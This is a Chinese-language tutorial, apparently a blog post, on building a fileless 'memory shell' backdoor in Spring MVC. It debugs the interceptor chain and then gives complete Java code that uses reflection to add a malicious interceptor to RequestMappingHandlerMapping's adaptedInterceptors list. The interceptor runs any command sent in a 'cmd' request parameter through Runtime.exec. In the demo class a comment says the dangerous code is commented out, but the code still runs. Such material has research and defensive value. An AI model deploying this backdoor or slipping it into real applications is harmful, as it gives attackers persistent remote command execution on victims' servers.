Spring Interceptor内存马
Spring Interceptor内存马
Spring Interceptor(拦截器)
1. 是什么?
Spring Interceptor 是 Spring MVC 框架提供的一个机制,用于在请求处理的特定阶段(如进入控制器方法前、渲染视图后等)执行自定义逻辑。它类似于 Servlet 的 Filter,但作用于更上层的 MVC 流程中,由 Spring 容器管理。
2. 核心接口:HandlerInterceptor
开发者需要实现 org.springframework.web.servlet.HandlerInterceptor 接口,并重写以下三个方法:
preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)- 在控制器方法执行前调用。
- 返回值为boolean:
true: 继续执行后续的拦截器和控制器方法。false: 中断流程,不再执行后续操作(通常在此处进行权限校验、日志记录、参数预处理等)。
postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView)- 在控制器方法执行完毕后,但在视图渲染前调用。
- 可以对
ModelAndView对象进行修改或添加额外数据。
afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex)- 在整个请求完成(包括视图渲染)后调用。
- 主要用于资源清理工作,无论是否发生异常都会执行。
3. 注册与使用
通过实现 WebMvcConfigurer 接口并重写 addInterceptors 方法来注册拦截器:
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
// 添加自定义拦截器,并指定拦截路径
registry.addInterceptor(new MyCustomInterceptor())
.addPathPatterns("/api/**") // 拦截所有 /api/ 开头的请求
.excludePathPatterns("/api/public/**"); // 排除公共接口
}
}4. 典型应用场景
- 身份认证与授权:检查用户登录状态和权限。
- 日志记录:记录请求信息、耗时等。
- 性能监控:统计接口响应时间。
- 跨域处理:统一设置 CORS 头。
- 参数预处理/后处理:如解密、加密、数据格式化。
代码演示
新建项目


Spring的版本不同, 内存马注入所依赖的类不同, 此处以2.4.2为例
实现接口
在目录下新建类TestInterceptor实现HandlerInterceptor接口
package org.example.interceptordemo.demos.web;
import org.springframework.web.servlet.HandlerInterceptor;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("preHandle");
// 注释掉危险的命令执行代码
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
Runtime.getRuntime().exec(cmd);
}
return true;
}
}注册使用
package org.example.interceptordemo.demos.web;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new TestInterceptor()).addPathPatterns("/int");
}
}新建类WebConfig类实现WebMvcConfigurer接口, 注册interveptor.
然后启动项目, 访问/int?cmd=calc就会弹出计算器.
调试分析
在TestInterceptor类中打上断点,

启动项目后访问http://127.0.0.1:8080/int?cmd=calc, 然后开始调试,

查看他先前执行的堆栈.

点到DispatcherServlet中, 查看变量

mappedHandler中有我们注册的拦截器TestInterceptor
往上翻, 查看mappedHandler的定义和赋值, 分别在
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
................
HandlerExecutionChain mappedHandler = null;
................
mappedHandler = this.getHandler(processedRequest); 在赋值的位置再打一个断点, 重新启动项目访问路径继续分析

步入进去this.getHandler, 来到
@Nullable
protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
if (this.handlerMappings != null) {
for(HandlerMapping mapping : this.handlerMappings) {
HandlerExecutionChain handler = mapping.getHandler(request);
if (handler != null) {
return handler;
}
}
}
return null;
}这段代码的作用是为HTTP请求找到合适的处理器(Handler):
遍历
HandlerMapping列表:this.handlerMappings包含了所有已注册的HandlerMapping对象,这些对象负责将请求URL映射到具体的处理器方法。查找匹配的处理器:对于每个
HandlerMapping,调用其getHandler(request)方法尝试获取能够处理当前请求的处理器。返回处理器执行链:如果找到合适的处理器,
HandlerMapping会返回一个HandlerExecutionChain对象,其中包含了:实际的处理器(Controller方法)
应用于该请求的所有拦截器(Interceptors)
短路返回:一旦找到匹配的处理器,立即返回,不再继续遍历其他HandlerMapping。
未找到处理器返回null:如果遍历完所有HandlerMapping都没有找到匹配的处理器,则返回null。
继续步入调式, 当执行到第五次循环的时候, 就会执行到AbstractHandlerMapping类的HandlerExecutionChain方法中的this.getHandlerExecutionChain这一步

步入getHandlerExecutionChain
protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
HandlerExecutionChain chain = handler instanceof HandlerExecutionChain ? (HandlerExecutionChain)handler : new HandlerExecutionChain(handler);
for(HandlerInterceptor interceptor : this.adaptedInterceptors) {
if (interceptor instanceof MappedInterceptor) {
MappedInterceptor mappedInterceptor = (MappedInterceptor)interceptor;
if (mappedInterceptor.matches(request)) {
chain.addInterceptor(mappedInterceptor.getInterceptor());
}
} else {
chain.addInterceptor(interceptor);
}
}
return chain;
}这段代码的主要作用是为特定请求构建完整的处理器执行链,包括处理器本身以及适用的拦截器:
- 创建或转换 HandlerExecutionChain:
- 如果传入的 handler 已经是 HandlerExecutionChain 类型,则直接使用
- 否则,创建一个新的 HandlerExecutionChain 实例,并将 handler 作为处理器添加进去
- 添加适用的拦截器:
- 遍历所有适配的拦截器 this.adaptedInterceptors
- 对于 MappedInterceptor 类型的拦截器:
- 检查它是否适用于当前请求(通过 mappedInterceptor.matches (request) 方法)
- 如果匹配,则将其内部的实际拦截器添加到执行链中
- 对于其他类型的拦截器:
- 直接添加到执行链中(这些通常是全局拦截器)
- 返回完整的执行链:
- 最终返回一个包含了处理器和所有适用性拦截器的执行链
这段代码的核心就是chain.addInterceptor(interceptor) , 它的作用是将拦截器添加到处理器执行链中
查看adaptedInterceptors的类型
private final List<HandlerInterceptor> adaptedInterceptors = new ArrayList();在 Interceptor 内存马攻击中,利用反射机制获取 AbstractHandlerMapping 中的私有字段 adaptedInterceptors,并绕过访问控制(setAccessible(true)),将一个实现了 HandlerInterceptor 接口的恶意类实例直接添加到该列表中。由于该列表是所有请求共享的拦截器源,一旦注入成功,后续任意 HTTP 请求只要经过该 HandlerMapping 的处理流程,就会触发恶意 preHandle 方法,从而实现无文件落地的远程命令执行。
在一开始的调试中,

preHandle 是被 DispatcherServlet 驱动的,中间经过了 HandlerExecutionChain。
所以大致流程
DispatcherServlet → getHandler()
→ mapping.getHandler()
→ getHandlerExecutionChain()
→ 遍历 this.adaptedInterceptors 把每个 interceptor 加入 chain编写内存马
前置了解
必须参与每一次请求处理
- 内存马不是一次性后门,而是持久化监听机制。
- 所以恶意逻辑必须在 每个匹配的 HTTP 请求 中被自动
必须进入
HandlerExecutionChain- Spring MVC 在处理请求时,会为每个请求创建一个
HandlerExecutionChain。 - 这个链包含:
- 目标处理器(如 Controller 方法)
- 所有匹配的
HandlerInterceptor拦截器
- 只有在这个链中的拦截器,才会被
applyPreHandle()调用。
所以:恶意拦截器必须出现在
HandlerExecutionChain中- Spring MVC 在处理请求时,会为每个请求创建一个
必须在
adaptedInterceptors中查看
AbstractHandlerMapping.getHandlerExecutionChain()源码:protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) { HandlerExecutionChain chain = ...; for (HandlerInterceptor interceptor : this.adaptedInterceptors) { chain.addInterceptor(interceptor); } return chain; }关键点:
this.adaptedInterceptors是拦截器的唯一来源- 它是一个
List<HandlerInterceptor>,存储了所有注册的拦截器 - 所有请求都会遍历它,把里面的拦截器加入当前
chain
所以:只要你的拦截器在
adaptedInterceptors里,就会自动进入每一个HandlerExecutionChain
必须拿到持有它的实例
adaptedInterceptors是AbstractHandlerMapping的protected final字段- 虽然不能重新赋值,但其内部的
List是可变的(ArrayList),可以add元素 - 但你必须先拿到 那个正在被使用的
HandlerMapping实例
而在标准 Spring Boot 应用中:
- 处理
@Controller和@RequestMapping的是RequestMappingHandlerMapping - 它继承自
AbstractHandlerMapping,因此持有adaptedInterceptors - 它是 Spring 自动创建并注册的单例 Bean
- 几乎所有动态请求都会经过它
所以:必须获取
RequestMappingHandlerMapping实例必须通过
WebApplicationContext攻击者处于一个“外来代码执行”环境(如反序列化、SpEL 注入)
他无法直接new RequestMappingHandlerMapping() —— 因为:
- 这个 Bean 有复杂的依赖(如
ContentNegotiationManager) - 即使 new 出来也不会被
DispatcherServlet使用
- 这个 Bean 有复杂的依赖(如
唯一可靠的方式是:从 Spring 容器中取出 正在运行的那个实例
而 WebApplicationContext 正是:
- Spring Web 应用的根容器
- 管理所有 Bean 的生命周期
- 提供
getBean(Class)方法来获取指定类型的 Bean
所以:
WebApplicationContext context = ...; // 获取上下文
RequestMappingHandlerMapping rmhm =
context.getBean(RequestMappingHandlerMapping.class); // 取出真实实例所以:必须先获取
WebApplicationContext,才能拿到RequestMappingHandlerMapping
流程
+-----------------------------------------------------------+
| 攻击者触发漏洞 |
| |
| (例如:反序列化、SpEL 注入等) |
+-----------------------------------------------------------+
|
v
+-----------------------------------------------------------+
| 进入 HTTP 请求处理线程 |
| |
| (具备 Request 上下文) |
+-----------------------------------------------------------+
|
v
+-----------------------------------------------------------+
| 获取 WebApplicationContext 实例 |
| |
| 通过 RequestContextHolder.currentRequestAttributes() |
| 和 getAttribute("org.springframework.web.servlet. |
| DispatcherServlet.CONTEXT", 0) 获取上下文 |
+-----------------------------------------------------------+
|
v
+-----------------------------------------------------------+
| 从容器中获取 RequestMappingHandlerMapping 实例 |
| |
| context.getBean(RequestMappingHandlerMapping.class) |
+-----------------------------------------------------------+
|
v
+-----------------------------------------------------------+
| 反射访问 adaptedInterceptors 字段 |
| |
| Field field = AbstractHandlerMapping.class.getDeclaredField|
| ("adaptedInterceptors"); |
| field.setAccessible(true); |
+-----------------------------------------------------------+
|
v
+-----------------------------------------------------------+
| 修改 List<HandlerInterceptor> interceptors |
| |
| List<HandlerInterceptor> interceptors = |
| (List<HandlerInterceptor>) field.get(rmhm); |
| interceptors.add(new MaliciousInterceptor()); |
+-----------------------------------------------------------+
|
v
+-----------------------------------------------------------+
| 恶意拦截器已成功注入到全局拦截器列表 |
| |
| 此时,所有匹配该 HandlerMapping 的请求都会经过 |
| 包含恶意拦截器的 HandlerExecutionChain |
+-----------------------------------------------------------+
|
v
+-----------------------------------------------------------+
| 用户发起任意 HTTP 请求(如 /index.html?cmd=whoami) |
| |
| 触发 DispatcherServlet.doDispatch() |
| → mapping.getHandler(request) |
| → getHandlerExecutionChain() |
| → 遍历 this.adaptedInterceptors |
| → chain.applyPreHandle() |
| → 触发 MaliciousInterceptor.preHandle() |
| → 执行命令(如 Runtime.exec(cmd)) |
+-----------------------------------------------------------+
|
v
+-----------------------------------------------------------+
| 命令执行结果返回给攻击者 |
| |
| (例如:弹出计算器、回显系统命令输出等) |
+-----------------------------------------------------------+完整代码
package org.example.interceptordemo.demos.web;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.List;
@RestController
public class InterceptorShell implements HandlerInterceptor {
@RequestMapping("/inject")
public String inject() {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping r = null;
if (context != null) {
r = context.getBean(RequestMappingHandlerMapping.class);
}
try {
Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) field.get(r);
list.add(new TestInterceptor());
} catch (NoSuchFieldException | IllegalAccessException e) {
throw new RuntimeException(e);
}
return "inject success";
}
public static class TestInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("preHandle");
String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);
return HandlerInterceptor.super.preHandle(request, response, handler);
}
}
}访问/inject路径注入
然后访问/inject?cmd=calc等就可以触发